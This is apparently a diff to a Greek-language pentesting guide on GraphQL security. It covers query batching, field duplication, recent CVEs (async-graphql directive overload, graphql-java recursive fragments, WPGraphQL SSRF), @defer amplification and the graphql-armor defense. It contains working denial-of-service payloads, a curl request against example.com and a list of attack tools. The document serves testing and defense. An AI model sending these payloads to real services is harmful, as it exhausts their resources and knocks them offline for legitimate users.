-**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
+**Batching Ερωτημάτων Βασισμένο σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει το batching πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα batched ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Denial of Service (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε ένα batch, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -539,26 +539,89 @@ curl -X POST \
### **Ευπάθεια Διπλασιασμού Πεδίου**
-**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
+**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας GraphQL server επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον server να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
+## Πρόσφατες Ευπάθειες (2023-2025)
+
+> Το οικοσύστημα του GraphQL εξελίσσεται πολύ γρήγορα. Κατά τη διάρκεια των τελευταίων δύο ετών, αποκαλύφθηκαν αρκετά κρίσιμα ζητήματα στις πιο χρησιμοποιούμενες βιβλιοθήκες διακομιστών. Όταν βρείτε ένα GraphQL endpoint, αξίζει να κάνετε fingerprinting της μηχανής (δείτε **graphw00f**) και να ελέγξετε την τρέχουσα έκδοση σε σχέση με τις ευπάθειες παρακάτω.
+
+### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust)
+* Επηρεαζόμενη: async-graphql < **7.0.10** (Rust)
+* Αιτία: καμία περιοριστική πολιτική στις **διπλές οδηγίες** (π.χ. χιλιάδες `@include`) που επεκτείνονται σε έναν εκθετικό αριθμό κόμβων εκτέλεσης.
+* Επιπτώσεις: ένα μόνο HTTP αίτημα μπορεί να εξαντλήσει CPU/RAM και να καταρρεύσει την υπηρεσία.
+* Διόρθωση/μείωση: αναβάθμιση ≥ 7.0.10 ή κλήση `SchemaBuilder.limit_directives()`; εναλλακτικά, φιλτράρετε τα αιτήματα με έναν κανόνα WAF όπως `"@include.*@include.*@include"`.
+```graphql
+# PoC – repeat @include X times
+query overload {
+__typename @include(if:true) @include(if:true) @include(if:true)
+}
+```
+### CVE-2024-40094 – `graphql-java` ENF βάθος/πολυπλοκότητα παράκαμψη
+* Επηρεαζόμενα: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
+* Ρίζα αιτία: **ExecutableNormalizedFields** δεν λήφθηκαν υπόψη από την παρακολούθηση `MaxQueryDepth` / `MaxQueryComplexity`. Οι αναδρομικοί θραύσματα λοιπόν παρέκαμψαν όλους τους περιορισμούς.
+* Επιπτώσεις: μη αυθεντικοποιημένο DoS κατά των Java στοίβων που ενσωματώνουν το graphql-java (Spring Boot, Netflix DGS, προϊόντα Atlassian…).
+```graphql
+fragment A on Query { ...B }
+fragment B on Query { ...A }
+query { ...A }
+```
+### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
+* Αφορά: WPGraphQL ≤ 1.14.5 (πρόσθετο WordPress).
+* Αιτία: η μεταβολή `createMediaItem` αποδεχόταν URLs **`filePath`** που ελέγχονταν από τον επιτιθέμενο, επιτρέποντας πρόσβαση στο εσωτερικό δίκτυο και εγγραφές αρχείων.
+* Επιπτώσεις: οι αυθεντικοποιημένοι Συντάκτες/Συγγραφείς θα μπορούσαν να φτάσουν σε σημεία μεταδεδομένων ή να γράψουν αρχεία PHP για απομακρυσμένη εκτέλεση κώδικα.
+
+---
+
+## Κατάχρηση σταδιακής παράδοσης: `@defer` / `@stream`
+Από το 2023 οι περισσότερες κύριες διακομιστές (Apollo 4, GraphQL-Java 20+, HotChocolate 13) υλοποίησαν τις κατευθυντήριες γραμμές **σταδιακής παράδοσης** που ορίστηκαν από την ομάδα εργασίας GraphQL-over-HTTP. Κάθε αναβληθείσα επιδιόρθωση αποστέλλεται ως **ξεχωριστό κομμάτι**, έτσι το συνολικό μέγεθος της απάντησης γίνεται *N + 1* (φάκελος + επιδιορθώσεις). Μια ερώτηση που περιέχει χιλιάδες μικρά αναβληθέντα πεδία παράγει επομένως μια μεγάλη απάντηση ενώ κοστίζει στον επιτιθέμενο μόνο μία αίτηση – μια κλασική **αύξηση DoS** και ένας τρόπος να παρακαμφθούν οι κανόνες WAF που ελέγχουν μόνο το πρώτο κομμάτι. Τα μέλη της ομάδας εργασίας σημείωσαν οι ίδιοι τον κίνδυνο.
+
+Παράδειγμα payload που παράγει 2 000 επιδιορθώσεις:
+```graphql
+query abuse {
+% for i in range(0,2000):
+f{{i}}: __typename @defer
+% endfor
+}
+```
+Mitigation: απενεργοποιήστε το `@defer/@stream` στην παραγωγή ή επιβάλετε `max_patches`, σωρευτικό `max_bytes` και χρόνο εκτέλεσης. Βιβλιοθήκες όπως το **graphql-armor** (βλ. παρακάτω) ήδη επιβάλλουν λογικές προεπιλογές.
+
+---
+
+## Αμυντικό middleware (2024+)
+
+| Project | Notes |
+|---|---|
+| **graphql-armor** | Node/TypeScript validation middleware που δημοσιεύθηκε από την Escape Tech. Υλοποιεί όρια plug-and-play για βάθος ερωτήματος, αριθμούς alias/field/directive, tokens και κόστος; συμβατό με Apollo Server, GraphQL Yoga/Envelop, Helix, κ.λπ. |
+
+Quick start:
+```ts
+import { protect } from '@escape.tech/graphql-armor';
+import { applyMiddleware } from 'graphql-middleware';
+
+const protectedSchema = applyMiddleware(schema, ...protect());
+```
+`graphql-armor` θα μπλοκάρει τώρα υπερβολικά βαθιές, πολύπλοκες ή πλούσιες σε οδηγίες ερωτήσεις, προστατεύοντας από τα παραπάνω CVEs.
+
+---
+
## Εργαλεία
### Σαρωτές ευπαθειών
-- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμάστε κοινές κακές ρυθμίσεις των graphql endpoints
-- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται
+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμή κοινών κακοδιαρθρώσεων των graphql endpoints
+- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων ερωτήσεων και μεταλλάξεων GraphQL.
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνώριση του graphql που χρησιμοποιείται
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για αυτοματοποίηση επιθέσεων: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension ή σενάριο python για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού: `python3 inql.py -t http://example.com/graphql -o output.json`
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension ή σενάριο python για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλες τις δυνατές ερωτήσεις και μεταλλάξεις, οργανώνοντάς τις σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
### Σενάρια για εκμετάλλευση κοινών ευπαθειών
@@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
+- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
+- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}